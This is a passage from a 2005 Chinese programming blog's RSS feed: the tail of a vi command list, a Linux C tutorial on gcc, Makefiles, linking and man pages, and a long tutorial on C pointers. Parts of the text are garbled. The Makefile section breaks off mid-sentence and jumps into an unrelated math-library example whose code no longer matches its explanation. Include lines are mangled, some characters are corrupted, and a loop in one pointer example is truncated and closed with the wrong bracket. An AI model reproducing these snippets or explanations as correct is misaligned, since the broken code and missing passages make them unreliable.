<P>#yy <BR>复制从光标所在行数的#行 </P>
<P>p <BR>粘贴 </P>
<P>u <BR>取消操作 </P>
<P>cw <BR>更改光标所在位置的一个字 </P>
<P>#cw <BR>更改光标所在位置的#个字 </P>
<P><BR>2、下表列出行命令模式下的一些指令 <BR>w filename <BR>储存正在编辑的文件为filename </P>
<P>wq filename <BR>储存正在编辑的文件为filename，并退出vi </P>
<P>q! <BR>放弃所有修改，退出vi </P>
<P>set nu <BR>显示行号 </P>
<P>/或? <BR>查找，在/后输入要查找的内容 </P>
<P>n <BR>与/或?一起使用，如果查找的内容不是想要找的关键字，按n或向后（与/联用）或向前（与?联用）继续查找，直到找到为止。 </P>
<P><BR>对于第一次用vi，有几点注意要提醒一下： <BR>1、用vi打开文件后，是处于「命令行模式（command mode）」，您要切换到「插入模式（Insert mode）」才能够输入文字。切换方法：在「命令行模式（command mode）」下按一下字母「i」就可以进入「插入模式（Insert mode）」，这时候你就可以开始输入文字了。 <BR>2、编辑好后，需从插入模式切换为命令行模式才能对文件进行保存，切换方法：按「ESC」键。 <BR>3、保存并退出文件：在命令模式下输入:wq即可！（别忘了wq前面的:）&nbsp; <BR></P><img src ="http://www.blogjava.net/RR00/aggbug/23292.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-10 20:36 <a href="http://www.blogjava.net/RR00/articles/23292.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>LINUX下进行C语言编程</title><link>http://www.blogjava.net/RR00/articles/23291.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Sat, 10 Dec 2005 12:11:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/23291.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/23291.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/23291.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/23291.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/23291.html</trackback:ping><description><![CDATA[<P>这篇文章介绍在LINUX下进行C语言编程所需要的基础知识.在这篇文章当中,我们将会学到以下内容: <BR>源程序编译 <BR>Makefile的编写 <BR>程序库的链接 <BR>程序的调试 <BR>头文件和系统求助 </P>
<P>-------------------------------------------------------------------------------- <BR>1.源程序的编译 <BR>在Linux下面,如果要编译一个C语言源程序,我们要使用GNU的gcc编译器. 下面我们以一个实例来说明如何使用gcc编译器. <BR>假设我们有下面一个非常简单的源程序(hello.c): <BR>int main(int argc,char **argv) <BR>{ <BR>printf("Hello Linux\n"); <BR>} </P>
<P>要编译这个程序,我们只要在命令行下执行: <BR>gcc -o hello hello.c <BR>gcc 编译器就会为我们生成一个hello的可执行文件.执行./hello就可以看到程序的输出结果了.命令行中 gcc表示我们是用gcc来编译我们的源程序,-o 选项表示我们要求编译器给我们输出的可执行文件名为hello 而hello.c是我们的源程序文件. <BR>gcc编译器有许多选项,一般来说我们只要知道其中的几个就够了. -o选项我们已经知道了,表示我们要求输出的可执行文件名. -c选项表示我们只要求编译器输出目标代码,而不必要输出可执行文件. -g选项表示我们要求编译器在编译的时候提供我们以后对程序进行调试的信息. <BR>知道了这三个选项,我们就可以编译我们自己所写的简单的源程序了,如果你想要知道更多的选项,可以查看gcc的帮助文档,那里有着许多对其它选项的详细说明. <BR>2.Makefile的编写 <BR>假设我们有下面这样的一个程序,源代码如下: </P>
<P>/* main.c */ <BR>＃i nclude "mytool1.h" <BR>＃i nclude "mytool2.h" </P>
<P>int main(int argc,char **argv) <BR>{ <BR>mytool1_print("hello"); <BR>mytool2_print("hello"); <BR>} </P>
<P>/* mytool1.h */ <BR>#ifndef _MYTOOL_1_H <BR>#define _MYTOOL_1_H </P>
<P>void mytool1_print(char *print_str); </P>
<P>#endif </P>
<P>/* mytool1.c */ <BR>＃i nclude "mytool1.h" <BR>void mytool1_print(char *print_str) <BR>{ <BR>printf("This is mytool1 print %s\n",print_str); <BR>} </P>
<P>/* mytool2.h */ <BR>#ifndef _MYTOOL_2_H <BR>#define _MYTOOL_2_H </P>
<P>void mytool2_print(char *print_str); </P>
<P>#endif </P>
<P>/* mytool2.c */ <BR>＃i nclude "mytool2.h" <BR>void mytool2_print(char *print_str) <BR>{ <BR>printf("This is mytool2 print %s\n",print_str); <BR>} </P>
<P><BR>当然由于这个程序是很短的我们可以这样来编译 <BR>gcc -c main.c <BR>gcc -c mytool1.c <BR>gcc -c mytool2.c <BR>gcc -o main main.o mytool1.o mytool2.o <BR>这样的话我们也可以产生main程序,而且也不时很麻烦.但是如果我们考虑一下如果有一天我们修改了其中的一个文件(比如说mytool1.c)那么我们难道还要重新输入上面的命令?也许你会说,这个很容易解决啊,我写一个SHELL脚本,让她帮我去完成不就可以了.是的对于这个程序来说,是可以起到作用的.但是当我们把事情想的更复杂一点,如果我们的程序有几百个源程序的时候,难道也要编译器重新一个一个的去编译? <BR>为此,聪明的程序员们想出了一个很好的工具来做这件事情,这就是make.我们只要执行以下make,就可以把上面的问题解决掉.在我们执行make之前,我们要先编写一个非常重要的文件.--Makefile.对于上面的那个程序来说,可能的一个Makefile的文件是: <BR># 这是上面那个程序的Makefile文件 <BR>main:main.o mytool1.o mytool2.o <BR>gcc -o main main.o mytool1.o mytool2.o <BR>main.o:main.c mytool1.h mytool2.h <BR>gcc -c main.c <BR>mytool1.o:mytool1.c mytool1.h <BR>gcc -c mytool1.c <BR>mytool2.o:mytool2.c mytool2.h <BR>gcc -c mytool2.c </P>
<P>有了这个Makefile文件,不过我们什么时候修改了源程序当中的什么文件,我们只要执行make命令,我们的编译器都只会去编译和我们修改的文件有关的文件,其它的文件她连理都不想去理的. <BR>下面我们学习Makefile是如何编写的. <BR>在Makefile中也#开始的行都是注释行.Makefile中最重要的是描述文件的依赖关系的说明.一般的格式是: <BR>target: components <BR>TAB rule </P>
<P>第一行表示的是依赖关系.第二行是规则. <BR>比如说我们上面的那个Makefile文件的第二行 <BR>main:main.o mytool1.o mytool2.o <BR>表示我们的目标(target)main的依赖对象(components)是main.o mytool1.o mytool2.o 当倚赖的对象在目标修改后修改的话,就要去执行规则一行所指定的命令.就象我们的上面那个Makefile第三行所说的一样要执行 gcc -o main main.o mytool1.o mytool2.o 注意规则一行中的TAB表示那里是一个TAB键 <BR>Makefile有三个非常有用的变量.分别是<A href="mailto:$@,$^,$">$@,$^,$</A> </P>
<P>int main(int argc,char **argv) <BR>{ <BR>double value; <BR>printf("Value:%f\n",value); <BR>} </P>
<P>这个程序相当简单,但是当我们用 gcc -o temp temp.c 编译时会出现下面所示的错误. <BR>/tmp/cc33Kydu.o: In function `main': <BR>/tmp/cc33Kydu.o(.text+0xe): undefined reference to `log' <BR>collect2: ld returned 1 exit status </P>
<P>出现这个错误是因为编译器找不到log的具体实现.虽然我们包括了正确的头文件,但是我们在编译的时候还是要连接确定的库.在Linux下,为了使用数学函数,我们必须和数学库连接,为此我们要加入 -lm 选项. gcc -o temp temp.c -lm这样才能够正确的编译.也许有人要问,前面我们用printf函数的时候怎么没有连接库呢?是这样的,对于一些常用的函数的实现,gcc编译器会自动去连接一些常用库,这样我们就没有必要自己去指定了. 有时候我们在编译程序的时候还要指定库的路径,这个时候我们要用到编译器的 -L选项指定路径.比如说我们有一个库在 /home/hoyt/mylib下,这样我们编译的时候还要加上 -L/home/hoyt/mylib.对于一些标准库来说,我们没有必要指出路径.只要它们在起缺省库的路径下就可以了.系统的缺省库的路径/lib /usr/lib /usr/local/lib 在这三个路径下面的库,我们可以不指定路径. <BR>还有一个问题,有时候我们使用了某个函数,但是我们不知道库的名字,这个时候怎么办呢?很抱歉,对于这个问题我也不知道答案,我只有一个傻办法.首先,我到标准库路径下面去找看看有没有和我用的函数相关的库,我就这样找到了线程(thread)函数的库文件(libpthread.a). 当然,如果找不到,只有一个笨方法.比如我要找sin这个函数所在的库. 就只好用 nm -o /lib/*.so|grep sin&gt;~/sin 命令,然后看~/sin文件,到那里面去找了. 在sin文件当中,我会找到这样的一行libm-2.1.2.so:00009fa0 W sin 这样我就知道了sin在 libm-2.1.2.so库里面,我用 -lm选项就可以了(去掉前面的lib和后面的版本标志,就剩下m了所以是 -lm). 如果你知道怎么找,请赶快告诉我,我回非常感激的.谢谢! <BR>4.程序的调试 <BR>我们编写的程序不太可能一次性就会成功的,在我们的程序当中,会出现许许多多我们想不到的错误,这个时候我们就要对我们的程序进行调试了. <BR>最常用的调试软件是gdb.如果你想在图形界面下调试程序,那么你现在可以选择xxgdb.记得要在编译的时候加入 -g选项.关于gdb的使用可以看gdb的帮助文件.由于我没有用过这个软件,所以我也不能够说出如何使用. 不过我不喜欢用gdb.跟踪一个程序是很烦的事情,我一般用在程序当中输出中间变量的值来调试程序的.当然你可以选择自己的办法,没有必要去学别人的.现在有了许多IDE环境,里面已经自己带了调试器了.你可以选择几个试一试找出自己喜欢的一个用. </P>
<P>5.头文件和系统求助 <BR>有时候我们只知道一个函数的大概形式,不记得确切的表达式,或者是不记得着函数在那个头文件进行了说明.这个时候我们可以求助系统. <BR>比如说我们想知道fread这个函数的确切形式,我们只要执行 man fread 系统就会输出着函数的详细解释的.和这个函数所在的头文件说明了. 如果我们要write这个函数的说明,当我们执行man write时,输出的结果却不是我们所需要的. 因为我们要的是write这个函数的说明,可是出来的却是write这个命令的说明.为了得到write的函数说明我们要用 man 2 write. 2表示我们用的write这个函数是系统调用函数,还有一个我们常用的是3表示函数是C的库函数. <BR>记住不管什么时候,man都是我们的最好助手. <BR></P><img src ="http://www.blogjava.net/RR00/aggbug/23291.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-10 20:11 <a href="http://www.blogjava.net/RR00/articles/23291.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>指针的概念 </title><link>http://www.blogjava.net/RR00/articles/23255.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Sat, 10 Dec 2005 04:57:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/23255.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/23255.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/23255.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/23255.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/23255.html</trackback:ping><description><![CDATA[为初学者服务。这是我的帖子的宗旨。我也是个初学者（强调了无数遍了） <BR>，我以我的理解把初学者觉得难懂的东西用浅显的语言写出来。由于小学时语文 <BR>没学好，所以竭尽全力也未必能达到这个目的。尽力而为吧。 <BR>指针是c和c++中的难点和重点。我只精通dos下的basic。c语言的其它各种特 <BR>性，在basic中都有类似的东西。只有指针，是baisc所不具备的。指针是c的灵魂 <BR>。 <BR>我不想重复大多数书上说得很清楚的东西，我只是把我看过的书中说得不清 <BR>楚或没有说，而我又觉得我理解得有点道理的东西写出来。我的目的是： <BR>1。通过写这些东西，把我脑袋中关于c的模糊的知识清晰化。 <BR>2。给初学者们一点提示。 <BR>3。赚几个经验值。（因为贴这些东西没有灌水之嫌啊） <BR><BR>第一章。指针的概念 <BR><BR><BR>指针是一个特殊的变量，它里面存储的数值被解释成为内存里的一个地址。 <BR><BR>要搞清一个指针需要搞清指针的四方面的内容：指针的类型，指针所指向的 <BR>类型，指针的值或者叫指针所指向的内存区，还有指针本身所占据的内存区。让 <BR>我们分别说明。 <BR>先声明几个指针放着做例子： <BR>例一： <BR>(1)int *ptr; <BR>(2)char *ptr; <BR>(3)int **ptr; <BR>(4)int (*ptr)[3]; <BR>(5)int *(*ptr)[4]; <BR>如果看不懂后几个例子的话，请参阅我前段时间贴出的文?lt;&lt;如何理解c和c <BR>++的复杂类型声明&gt;&gt;。 <BR><BR>1。 指针的类型。 <BR>从语法的角度看，你只要把指针声明语句里的指针名字去掉，剩下的部分就 <BR>是这个指针的类型。这是指针本身所具有的类型。让我们看看例一中各个指针的 <BR>类型： <BR>(1)int *ptr; //指针的类型是int * <BR>(2)char *ptr; //指针的类型是char * <BR>(3)int **ptr; //指针的类型是 int ** <BR>(4)int (*ptr)[3]; //指针的类型是 int(*)[3] <BR>(5)int *(*ptr)[4]; //指针的类型是 int *(*)[4] <BR>怎么样？找出指针的类型的方法是不是很简单？ <BR><BR>2。指针所指向的类型。 <BR>当你通过指针来访问指针所指向的内存区时，指针所指向的类型决定了编译 <BR>器将把那片内存区里的内容当做什么来看待。 <BR>从语法上看，你只须把指针声明语句中的指针名字和名字左边的指针声明符 <BR>*去掉，剩下的就是指针所指向的类型。例如： <BR>(1)int *ptr; //指针所指向的类型是int <BR>(2)char *ptr; //指针所指向的的类型是char <BR>(3)int **ptr; //指针所指向的的类型是 int * <BR>(4)int (*ptr)[3]; //指针所指向的的类型是 int()[3] <BR>(5)int *(*ptr)[4]; //指针所指向的的类型是 int *()[4] <BR>在指针的算术运算中，指针所指向的类型有很大的作用。 <BR>指针的类型(即指针本身的类型)和指针所指向的类型是两个概念。当你对C越 <BR>来越熟悉时，你会发现，把与指针搅和在一起的"类型"这个概念分成"指针的 <BR>类型"和"指针所指向的类型"两个概念，是精通指针的关键点之一。我看了不 <BR>少书，发现有些写得差的书中，就把指针的这两个概念搅在一起了，所以看起书 <BR>来前后矛盾，越看越糊涂。 <BR><BR>3。 指针的值，或者叫指针所指向的内存区或地址。 <BR>指针的值是指针本身存储的数值，这个值将被编译器当作一个地址，而不是 <BR>一个一般的数值。在32位程序里，所有类型的指针的值都是一个32位整数，因为 <BR>32位程序里内存地址全都是32位长。 <BR>指针所指向的内存区就是从指针的值所代表的那个内存地址开始，长度为si <BR>zeof(指针所指向的类型)的一片内存区。以后，我们说一个指针的值是XX，就相 <BR>当于说该指针指向了以XX为首地址的一片内存区域；我们说一个指针指向了某块 <BR>内存区域，就相当于说该指针的值是这块内存区域的首地址。 <BR>指针所指向的内存区和指针所指向的类型是两个完全不同的概念。在例一中 <BR>，指针所指向的类型已经有了，但由于指针还未初始化，所以它所指向的内存区 <BR>是不存在的，或者说是无意义的。 <BR>以后，每遇到一个指针，都应该问问：这个指针的类型是什么？指针指向的 <BR>类型是什么？该指针指向了哪里？ <BR>4。 指针本身所占据的内存区。 <BR>指针本身占了多大的内存？你只要用函数sizeof(指针的类型)测一下就知道 <BR>了。在32位平台里，指针本身占据了4个字节的长度。 <BR>指针本身占据的内存这个概念在判断一个指针表达式是否是左值时很有用。 <BR><BR>第二章。指针的算术运算 <BR><BR><BR>指针可以加上或减去一个整数。指针的这种运算的意义和通常的数值的加减 <BR>运算的意义是不一样的。例如： <BR>例二： <BR>1。 char a[20]; <BR>2。 int *ptr=a; <BR>... <BR>... <BR>3。 ptr++; <BR>在上例中，指针ptr的类型是int*,它指向的类型是int，它被初始化为指向整 <BR>形变量a。接下来的第3句中，指针ptr被加了1，编译器是这样处理的：它把指针 <BR>ptr的值加上了sizeof(int)，在32位程序中，是被加上了4。由于地址是用字节做 <BR>单位的，故ptr所指向的地址由原来的变量a的地址向高地址方向增加了4个字节。 <BR>由于char类型的长度是一个字节，所以，原来ptr是指向数组a的第0号单元开始的 <BR>四个字节，此时指向了数组a中从第4号单元开始的四个字节。 <BR>我们可以用一个指针和一个循环来遍历一个数组，看例子： <BR>例三： <BR>例三： <BR>int array[20]; <BR>int *ptr=array; <BR>... <BR>//此处略去为整型数组赋值的代码。 <BR>... <BR>for(i=0;i&lt;20;i++) <BR>{ <BR>(*ptr)++; <BR>ptr++； <BR>} <BR>这个例子将整型数组中各个单元的值加1。由于每次循环都将指针ptr加1，所 <BR>以每次循环都能访问数组的下一个单元。 <BR>再看例子： <BR>例四： <BR>1。 char a[20]; <BR>2。 int *ptr=a; <BR>... <BR>... <BR>3。 ptr+=5; <BR>在这个例子中，ptr被加上了5，编译器是这样处理的：将指针ptr的值加上5 <BR>乘sizeof(int)，在32位程序中就是加上了5乘4=20。由于地址的单位是字节，故 <BR>现在的ptr所指向的地址比起加5后的ptr所指向的地址来说，向高地址方向移动了 <BR>20个字节。在这个例子中，没加5前的ptr指向数组a的第0号单元开始的四个字节 <BR>，加5后，ptr已经指向了数组a的合法范围之外了。虽然这种情况在应用上会出问 <BR>题，但在语法上却是可以的。这也体现出了指针的灵活性。 <BR>如果上例中，ptr是被减去5，那么处理过程大同小异，只不过ptr的值是被减 <BR>去5乘sizeof(int)，新的ptr指向的地址将比原来的ptr所指向的地址向低地址方 <BR>向移动了20个字节。 <BR><BR>总结一下，一个指针ptrold加上一个整数n后，结果是一个新的指针ptrnew， <BR>ptrnew的类型和ptrold的类型相同，ptrnew所指向的类型和ptrold所指向的类型 <BR>也相同。ptrnew的值将比ptrold的值增加了n乘sizeof(ptrold所指向的类型)个字 <BR>节。就是说，ptrnew所指向的内存区将比ptrold所指向的内存区向高地址方向移 <BR>动了n乘sizeof(ptrold所指向的类型)个字节。 <BR>一个指针ptrold减去一个整数n后，结果是一个新的指针ptrnew，ptrnew的类 <BR>型和ptrold的类型相同，ptrnew所指向的类型和ptrold所指向的类型也相同。pt <BR>rnew的值将比ptrold的值减少了n乘sizeof(ptrold所指向的类型)个字节，就是说 <BR>，ptrnew所指向的内存区将比ptrold所指向的内存区向低地址方向移动了n乘siz <BR>eof(ptrold所指向的类型)个字节。 <BR><BR>第三章。运算?amp;和* <BR><BR>这里&amp;是取地址运算符，*是...书上叫做"间接运算符"。 <BR>&amp;a的运算结果是一个指针，指针的类型是a的类型加个*，指针所指向的类型 <BR>是a的类型，指针所指向的地址嘛，那就是a的地址。 <BR>*p的运算结果就五花八门了。总之*p的结果是p所指向的东西，这个东西有这 <BR>些特点：它的类型是p指向的类型，它所占用的地址是p所指向的地址。 <BR>例五： <BR>int a=12; <BR>int b; <BR>int *p; <BR>int **ptr; <BR>p=&amp;a;//&amp;a的结果是一个指针，类型是int*，指向的类型是int，指向的地址 <BR>是a的地址。 <BR>*p=24;//*p的结果，在这里它的类型是int，它所占用的地址是p所指向的地 <BR>址，显然，*p就是变量a。 <BR>ptr=&amp;p;//&amp;p的结果是个指针，该指针的类型是p的类型加个*，在这里是int <BR>**。该指针所指向的类型是p的类型，这里是int*。该指针所指向的地址就是指针 <BR>p自己的地址。 <BR>*ptr=&amp;b;//*ptr是个指针，&amp;b的结果也是个指针，且这两个指针的类型和所 <BR>指向的类型是一样的，所以用&amp;b来给*ptr赋值就是毫无问题的了。 <BR>**ptr=34;//*ptr的结果是ptr所指向的东西，在这里是一个指针，对这个指 <BR>针再做一次*运算，结果就是一个int类型的变量。 <BR><BR>第四章。指针表达式。 <BR><BR><BR>一个表达式的最后结果如果是一个指针，那么这个表达式就叫指针表达式。 <BR>下面是一些指针表达式的例子： <BR>例六： <BR>int a,b; <BR>int array[10]; <BR>int *pa; <BR>pa=&amp;a;//&amp;a是一个指针表达式。 <BR>int **ptr=&amp;pa;//&amp;pa也是一个指针表达式。 <BR>*ptr=&amp;b;//*ptr和&amp;b都是指针表达式。 <BR>pa=array; <BR>pa++;//这也是指针表达式。 <BR>例七： <BR>char *arr[20]; <BR>char **parr=arr;//如果把arr看作指针的话，arr也是指针表达式 <BR>char *str; <BR>str=*parr;//*parr是指针表达式 <BR>str=*(parr+1);//*(parr+1)是指针表达式 <BR>str=*(parr+2);//*(parr+2)是指针表达式 <BR><BR><BR>由于指针表达式的结果是一个指针，所以指针表达式也具有指针所具有的四 <BR>个要素：指针的类型，指针所指向的类型，指针指向的内存区，指针自身占据的 <BR>内存。 <BR>好了，当一个指针表达式的结果指针已经明确地具有了指针自身占据的内存 <BR>的话，这个指针表达式就是一个左值，否则就不是一个左值。 <BR>在例七中，&amp;a不是一个左值，因为它还没有占据明确的内存。*ptr是一个左 <BR>值，因为*ptr这个指针已经占据了内存，其实*ptr就是指针pa，既然pa已经在内 <BR>存中有了自己的位置，那么*ptr当然也有了自己的位置。 <BR><BR>第五章。数组和指针的关系 <BR><BR><BR>如果对声明数组的语句不太明白的话，请参阅我前段时间贴出的文?lt;&lt;如何 <BR>理解c和c++的复杂类型声明&gt;&gt;。 <BR>数组的数组名其实可以看作一个指针。看下例： <BR>例八： <BR>int array[10]={0,1,2,3,4,5,6,7,8,9},value; <BR>... <BR>... <BR>value=array[0];//也可写成：value=*array; <BR>value=array[3];//也可写成：value=*(array+3); <BR>value=array[4];//也可写成：value=*(array+4); <BR>上例中，一般而言数组名array代表数组本身，类型是int [10]，但如果把a <BR>rray看做指针的话，它指向数组的第0个单元，类型是int *，所指向的类型是数 <BR>组单元的类型即int。因此*array等于0就一点也不奇怪了。同理，array+3是一个 <BR>指向数组第3个单元的指针，所以*(array+3)等于3。其它依此类推。 <BR><BR>例九： <BR>例九： <BR>char *str[3]={ <BR>"Hello,this is a sample!", <BR>"Hi,good morning.", <BR>"Hello world" <BR>}; <BR>char s[80]； <BR>strcpy(s,str[0]);//也可写成strcpy(s,*str); <BR>strcpy(s,str[1]);//也可写成strcpy(s,*(str+1)); <BR>strcpy(s,str[2]);//也可写成strcpy(s,*(str+2)); <BR>上例中，str是一个三单元的数组，该数组的每个单元都是一个指针，这些指 <BR>针各指向一个字符串。把指针数组名str当作一个指针的话，它指向数组的第0号 <BR>单元，它的类型是char**，它指向的类型是char *。 <BR>*str也是一个指针，它的类型是char*，它所指向的类型是char，它指向的地 <BR>址是字符串"Hello,this is a sample!"的第一个字符的地址，即’H’的地址。 <BR>str+1也是一个指针，它指向数组的第1号单元，它的类型是char**，它指向 <BR>的类型是char *。 <BR>*(str+1)也是一个指针，它的类型是char*，它所指向的类型是char，它指向 <BR>"Hi,good morning."的第一个字符’H’，等等。 <BR><BR>下面总结一下数组的数组名的问题。声明了一个数组TYPE array[n]，则数组 <BR>名称array就有了两重含义：第一，它代表整个数组，它的类型是TYPE [n]；第二 <BR>，它是一个指针，该指针的类型是TYPE*，该指针指向的类型是TYPE，也就是数组 <BR>单元的类型，该指针指向的内存区就是数组第0号单元，该指针自己占有单独的内 <BR>存区，注意它和数组第0号单元占据的内存区是不同的。该指针的值是不能修改的 <BR>，即类似array++的表达式是错误的。 <BR>在不同的表达式中数组名array可以扮演不同的角色。 <BR>在表达式sizeof(array)中，数组名array代表数组本身，故这时sizeof函数 <BR>测出的是整个数组的大小。 <BR>在表达式*array中，array扮演的是指针，因此这个表达式的结果就是数组第 <BR>0号单元的值。sizeof(*array)测出的是数组单元的大小。 <BR>表达式array+n（其中n=0，1，2，....。）中，array扮演的是指针，故arr <BR>ay+n的结果是一个指针，它的类型是TYPE*，它指向的类型是TYPE，它指向数组第 <BR>n号单元。故sizeof(array+n)测出的是指针类型的大小。 <BR>例十： <BR>int array[10]; <BR>int (*ptr)[10]; <BR>ptr=&amp;array; <BR>上例中ptr是一个指针，它的类型是int (*)[10]，他指向的类型是int [10] <BR>，我们用整个数组的首地址来初始化它。在语句ptr=&amp;array中，array代表数组本 <BR>身。 <BR><BR>本节中提到了函数sizeof()，那么我来问一问，sizeof(指针名称)测出的究 <BR>竟是指针自身类型的大小呢还是指针所指向的类型的大小？答案是前者。例如： <BR><BR>int (*ptr)[10]; <BR>则在32位程序中，有： <BR>sizeof(int(*)[10])==4 <BR>sizeof(int [10])==40 <BR>sizeof(ptr)==4 <BR>实际上，sizeof(对象)测出的都是对象自身的类型的大小，而不是别的什么 <BR>类型的大小。 <BR><BR>第六章。指针和结构类型的关系 <BR><BR><BR>可以声明一个指向结构类型对象的指针。 <BR>例十一： <BR>struct MyStruct <BR>{ <BR>int a; <BR>int b; <BR>int c; <BR>} <BR>MyStruct ss={20,30,40};//声明了结构对象ss，并把ss的三个成员初始 <BR>化为20，30和40。 <BR>MyStruct *ptr=&amp;ss;//声明了一个指向结构对象ss的指针。它的类型是 <BR>MyStruct*,它指向的类型是MyStruct。 <BR>int *pstr=(int*)&amp;ss;//声明了一个指向结构对象ss的指针。但是它的 <BR>类型和它指向的类型和ptr是不同的。 <BR><BR>请问怎样通过指针ptr来访问ss的三个成员变量？ <BR>答案： <BR>ptr-&gt;a; <BR>ptr-&gt;b; <BR>ptr-&gt;c; <BR>又请问怎样通过指针pstr来访问ss的三个成员变量？ <BR>答案： <BR>*pstr；//访问了ss的成员a。 <BR>*(pstr+1);//访问了ss的成员b。 <BR>*(pstr+2)//访问了ss的成员c。 <BR>呵呵，虽然我在我的MSVC++6.0上调式过上述代码，但是要知道，这样使用p <BR>str来访问结构成员是不正规的，为了说明为什么不正规，让我们看看怎样通过指 <BR>针来访问数组的各个单元： <BR>例十二： <BR>int array[3]={35,56,37}; <BR>int *pa=array; <BR>通过指针pa访问数组array的三个单元的方法是： <BR>*pa;//访问了第0号单元 <BR>*(pa+1);//访问了第1号单元 <BR>*(pa+2);//访问了第2号单元 <BR>从格式上看倒是与通过指针访问结构成员的不正规方法的格式一样。 <BR>所有的C/C++编译器在排列数组的单元时，总是把各个数组单元存放在连续的 <BR>存储区里，单元和单元之间没有空隙。但在存放结构对象的各个成员时，在某种 <BR>编译环境下，可能会需要字对齐或双字对齐或者是别的什么对齐，需要在相邻两 <BR>个成员之间加若干?quot;填充字节"，这就导致各个成员之间可能会有若干个字节 <BR>的空隙。 <BR>所以，在例十二中，即使*pstr访问到了结构对象ss的第一个成员变量a，也 <BR>不能保证*(pstr+1)就一定能访问到结构成员b。因为成员a和成员b之间可能会有 <BR>若干填充字节，说不定*(pstr+1)就正好访问到了这些填充字节呢。这也证明了指 <BR>针的灵活性。要是你的目的就是想看看各个结构成员之间到底有没有填充字节， <BR>嘿，这倒是个不错的方法。 <BR>通过指针访问结构成员的正确方法应该是象例十二中使用指针ptr的方法。 <BR><BR>第七章。指针和函数的关系 <BR><BR><BR>可以把一个指针声明成为一个指向函数的指针。 <BR>int fun1(char*,int); <BR>int (*pfun1)(char*,int); <BR>pfun1=fun1; <BR>.... <BR>.... <BR>int a=(*pfun1)("abcdefg",7);//通过函数指针调用函数。 <BR>可以把指针作为函数的形参。在函数调用语句中，可以用指针表达式来作为 <BR>实参。 <BR>例十三： <BR>int fun(char*); <BR>int a; <BR>char str[]="abcdefghijklmn"; <BR>a=fun(str); <BR>... <BR>... <BR>int fun(char*s) <BR>{ <BR>int num=0; <BR>for(int i=0;i <BR>{ <BR>num+=*s;s++; <BR>} <BR>return num; <BR>) <BR>这个例子中的函数fun统计一个字符串中各个字符的ASCII码值之和。前面说 <BR>了，数组的名字也是一个指针。在函数调用中，当把str作为实参传递给形参s后 <BR>，实际是把str的值传递给了s，s所指向的地址就和str所指向的地址一致，但是 <BR>str和s各自占用各自的存储空间。在函数体内对s进行自加1运算，并不意味着同 <BR>时对str进行了自加1运算。 <BR><BR>第八章。指针类型转换 <BR><BR><BR>当我们初始化一个指针或给一个指针赋值时，赋值号的左边是一个指针，赋 <BR>值号的右边是一个指针表达式。在我们前面所举的例子中，绝大多数情况下，指 <BR>针的类型和指针表达式的类型是一样的，指针所指向的类型和指针表达式所指向 <BR>的类型是一样的。 <BR>例十四： <BR>1。 float f=12.3; <BR>2。 float *fptr=&amp;f; <BR>3。 int *p; <BR>在上面的例子中，假如我们想让指针p指向实数f，应该怎么搞？是用下面的 <BR>语句吗？ <BR>p=&amp;f; <BR>不对。因为指针p的类型是int*，它指向的类型是int。表达式&amp;f的结果是一 <BR>个指针，指针的类型是float*,它指向的类型是float。两者不一致，直接赋值的 <BR>方法是不行的。至少在我的MSVC++6.0上，对指针的赋值语句要求赋值号两边的类 <BR>型一致，所指向的类型也一致，其它的编译器上我没试过，大家可以试试。为了 <BR>实现我们的目的，需要进行"强制类型转换"： <BR>p=(int*)&amp;f; <BR>如果有一个指针p，我们需要把它的类型和所指向的类型改为TYEP*和TYPE， <BR>那么语法格式是： <BR>(TYPE*)p； <BR>这样强制类型转换的结果是一个新指针，该新指针的类型是TYPE*，它指向的 <BR>类型是TYPE，它指向的地址就是原指针指向的地址。而原来的指针p的一切属性都 <BR>没有被修改。 <BR><BR>一个函数如果使用了指针作为形参，那么在函数调用语句的实参和形参的结 <BR>合过程中，也会发生指针类型的转换。 <BR>例十五： <BR>void fun(char*); <BR>int a=125,b; <BR>fun((char*)&amp;a); <BR>... <BR>... <BR>void fun(char*s) <BR>{ <BR>char c; <BR>c=*(s+3);*(s+3)=*(s+0);*(s+0)=c; <BR>c=*(s+2);*(s+2)=*(s+1);*(s+1)=c; <BR>} <BR>} <BR>注意这是一个32位程序，故int类型占了四个字节，char类型占一个字节。函 <BR>数fun的作用是把一个整数的四个字节的顺序来个颠倒。注意到了吗？在函数调用 <BR>语句中，实参&amp;a的结果是一个指针，它的类型是int *，它指向的类型是int。形 <BR>参这个指针的类型是char*，它指向的类型是char。这样，在实参和形参的结合过 <BR>程中，我们必须进行一次从int*类型到char*类型的转换。结合这个例子，我们可 <BR>以这样来想象编译器进行转换的过程：编译器先构造一个临时指针 char*temp， <BR>然后执行temp=(char*)&amp;a，最后再把temp的值传递给s。所以最后的结果是：s的 <BR>类型是char*,它指向的类型是char，它指向的地址就是a的首地址。 <BR><BR>我们已经知道，指针的值就是指针指向的地址，在32位程序中，指针的值其 <BR>实是一个32位整数。那可不可以把一个整数当作指针的值直接赋给指针呢？就象 <BR>下面的语句： <BR>unsigned int a; <BR>TYPE *ptr;//TYPE是int，char或结构类型等等类型。 <BR>... <BR>... <BR>a=20345686; <BR>ptr=20345686;//我们的目的是要使指针ptr指向地址20345686（十进制 <BR>） <BR>ptr=a;//我们的目的是要使指针ptr指向地址20345686（十进制） <BR>编译一下吧。结果发现后面两条语句全是错的。那么我们的目的就不能达到 <BR>了吗？不，还有办法： <BR>unsigned int a; 